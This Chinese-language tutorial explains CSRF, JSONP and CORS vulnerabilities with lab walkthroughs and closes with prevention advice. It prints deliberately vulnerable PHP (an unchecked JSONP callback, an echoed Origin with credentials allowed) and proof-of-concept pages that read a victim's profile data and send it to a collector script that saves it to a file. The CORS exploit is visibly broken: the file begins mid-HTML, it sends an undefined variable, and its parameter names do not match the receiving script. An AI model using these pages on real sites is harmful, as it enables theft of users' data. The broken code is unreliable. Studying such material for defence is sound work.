一、CSRF 漏洞:
1、漏洞概述:
(1)一般情景:
利用已认证用户的身份执行未经用户授权的操作。攻击者试图欺骗用户在其不知情的情况下执行某些操作,通常是在受害者已经登录到特定网站的情况下。
(2)JSONP 漏洞:
JSONP 是用于跨域读取数据的技术,为了绕过同源策略,可以使用
<script src="...">
<img src="...">
<link href="...">
<iframe src="...">
等标签来进行跨域
(3)CORS 漏洞:
1、CORS的引入: 由于同源策略的限制,许多Web应用程序需要与不同域的资源进行交互,
因此CORS被引入以允许这种跨域请求。
CORS是一种通过HTTP头部来控制的机制,它告诉浏览器是否允许一个特定的跨域请求。
2、CORS头部: 要使用CORS,服务器需要在HTTP响应头部中包括一些特定的字段,例如:
(1)Access-Control-Allow-Origin: 指定允许访问资源的域,可以是特定域名或 *(表示允许任何域)。
(2)Access-Control-Allow-Methods: 指定允许的HTTP方法,如 GET、POST、PUT 等。
(3)Access-Control-Allow-Headers: 指定允许的HTTP头部,用于在实际请求中包含自定义头部信息。
(4)Access-Control-Expose-Headers: 指定哪些响应头部可以被暴露给浏览器。
CORS 请求时时,getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers 里面指定。
(5)Access-Control-Allow-Credentials: 指定是否允许发送身份验证凭证(例如cookies)。
(6)Access-Control-Max-Age: 指定预检请求的有效时间(在发送实际请求之前进行的检查)。
3、简单请求和预检请求: 浏览器执行CORS请求时,将根据请求的类型分为“简单请求”和“预检请求”。
(1)简单请求:GET、HEAD 和 POST 方法,且只包含了浏览器自动添加的标准头部,例如 Content-Type。
(2)预检请求:对于复杂请求,浏览器会首先发送一个预检请求(OPTIONS请求),以检查服务器是否允许实际请求。
4、安全性: CORS 的实施有助于确保跨域请求不会引发安全问题。服务器可以配置哪些域名允许访问资源,可以控制允许的HTTP方法和头部,以及是否允许发送身份验证凭证。这有助于防止恶意网站访问敏感资源。
在前端代码中,使用XMLHttpRequest或Fetch API可以进行CORS请求。浏览器会自动处理CORS头部和响应。
2、漏洞情景:
(1)一般情景:
用户访问网站 A,验证成功,网站 A 回传给用户 cookie 参数,在用户未退出网站 A 的情况下,访问了网站 B,网站 B 发送了一个访问网站 A 的请求,用户点击后,恶意代码执行,攻击达成。
(2)JSPON 漏洞:
网站 A 存在一个 jsonp 接口,用户在网站 A 上登陆后,这个 jsonp 接口会返回用户的个人信息,并在网站 A 的页面上进行显示。如果网站 A 对此 jsonp 接口的来源验证存在漏洞,那么当用户访问网站 B 时,网站 B 便可以利用此漏洞获取用户信息。
(3)CORS 漏洞:
其实都差不多一个意思
二、实例:
实例1:pikachu 靶场的 CSRF
(1)登陆成功后:
(2)点击提交用 burpsuite 抓取修改页面的信息
(3)使用 Generator CSRF PoC 工具
(4)在退出登陆前,访问生成的页面再点击后,攻击达成
注意:
(1)如果是 get 型的请求,其实是不用点击的,直接用短链接生成 url 就行了;
(2)如果有 xss 漏洞,可以自动访问这个 html 页面;
实例2:JSONP 漏洞
1、实例源码:
(1)user.php:
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id":"1","name":"1","email":"1"});';
?>
(2)get_json.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>
function jsonp2(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://localhost/jsonp/user.php?callback=jsonp2"></script>
</body>
</html>
(3)poc.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data) {
var xmlhttp = new XMLHttpRequest();
var url = "http://localhost/jsonp/poc.php?file=" + JSON.stringify(data);
xmlhttp.open("GET", url, true);
xmlhttp.send();
}
</script>
<script src="http://localhost/jsonp/user.php?callback=test"></script>
</head>
<body>
</body>
</html>
<?php
if ($_GET['file']) {
file_put_contents('json.txt', $_GET['file']);
}
?>
2、漏洞复现:
(1)访问 user.php ,可以看到设定好的数据
(2)访问 get_json.html ,可以弹窗获取设定好的数据
(3)访问 poc.php ,可以把获取到的 json 数据保存在本地 json.txt 中
实例3:CORS 漏洞
1、实例源码:
(1)userinfo.php
<?php
if (@$_SERVER['HTTP_ORIGIN']){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
}else{
header("Access-Control-Allow-Origin: *");
}
header("Access-Control-Allow-Headers: X-Requested-With");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
echo json_encode($info);
?>
(2)test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cors</title>
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText);
}
}
xhr.open("GET",'http://localhost:860/csrf/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
(3)cors-exp.php
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://localhost/cors/cors-exp.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("moon="+escape(cc));
}
}
xhr.open("GET",'http://localhost:860/csrf/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
<?php
$data = $_POST['cc'];
if($data){
$myfile = fopen("data1.txt","w");
fwrite($myfile,$data);
fclose($myfile);
}
?>
2、漏洞复现:
(1)先访问 userinfo.php
(2)访问 test.html 测试
(3)访问 cors-exp.php 来进行文件写入
三、漏洞预防:
1、增加 Token 验证,对关键操作增加 Token 参数,token 必须随机,每次都不一样
2、关于安全的会话管理(避免会话被利用) 不要在客户端保存敏感信息(比如身份验证信息) 退出、关闭浏览器时的会话过期机制 设置会话过机制,比如 15 分钟无操作,则自动登录超时
3、访问控制安全管理 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧 密码
4、敏感信息的修改使用 POST,而不是 GET 通过 HTTP 头部中的 REFERER 来限制原页面
5、JSONP 存在安全风险,因此如果不是必需,尽量避免使用它。而是使用更安全的替代方法,如CORS
6、CORS 是一种更安全的方法,允许服务器控制哪些域可以访问其资源。使用CORS需要在服务器端进行配置,以明确指定允许的域
7、如果必须使用 JSONP,确保对从客户端接收的数据进行严格的输入验证和过滤。不要信任客户端提供的数据,因为它可能包含恶意代码
8、设置回调函数随机
9、CORS 不要配置 "Access-Control-Allow-Origin" 为通配符“*”
10、要严格效验来自请求数据包中的"Origin" 的值。当收到跨域请求的时候,要检查"Origin" 的值是否是一个可信的源, 还要检查是否为 null
11、避免使用 "Access-Control-Allow-Credentials: true"
12、减少 Access-Control- Allow-Methods 所允许的方法